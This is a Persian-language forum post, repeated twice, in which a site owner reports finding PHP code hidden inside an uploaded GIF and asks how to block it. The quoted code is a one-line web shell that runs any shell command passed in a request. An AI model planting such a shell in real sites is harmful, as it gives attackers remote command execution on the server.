foranyone
Well-Known Member
سلام
سایتم یک قسمت آپلود عکس داره محدودش کردم که فقط از فایل های تصویری پشتیبانی کنه و فایل
php و ... به آپلود نمیشه !
من الان یکی از فایل های gif رو پریویو نمیشد باز کردم و متوجه شدم داخل یک دستور php نوشته شده !
اولا این دستور چه خطراتی میتونه داشته باشه ؟
چطوری میشه کاری کرد که دستور بالا اجرا نشه :
دستورات زیر چه کاری انجام میدن :
escapeshellarg
escapeshellcmd
در ضمن من یکسری فایل php هم دیدم که آپلود شده اینا چطوری آپلود شده ؟ در صورتی که من امکان این کار
رو ندادم ؟ برای آپلود هم از کلاس مشهوری استفاده کردم .
دستوری که داخل فایل gif نوشته شده میشه اجرا بشه ؟
سایتم یک قسمت آپلود عکس داره محدودش کردم که فقط از فایل های تصویری پشتیبانی کنه و فایل
php و ... به آپلود نمیشه !
من الان یکی از فایل های gif رو پریویو نمیشد باز کردم و متوجه شدم داخل یک دستور php نوشته شده !
PHP:
<?php
@system($_REQUEST['Command']);
?>
اولا این دستور چه خطراتی میتونه داشته باشه ؟
چطوری میشه کاری کرد که دستور بالا اجرا نشه :
دستورات زیر چه کاری انجام میدن :
escapeshellarg
escapeshellcmd
در ضمن من یکسری فایل php هم دیدم که آپلود شده اینا چطوری آپلود شده ؟ در صورتی که من امکان این کار
رو ندادم ؟ برای آپلود هم از کلاس مشهوری استفاده کردم .
دستوری که داخل فایل gif نوشته شده میشه اجرا بشه ؟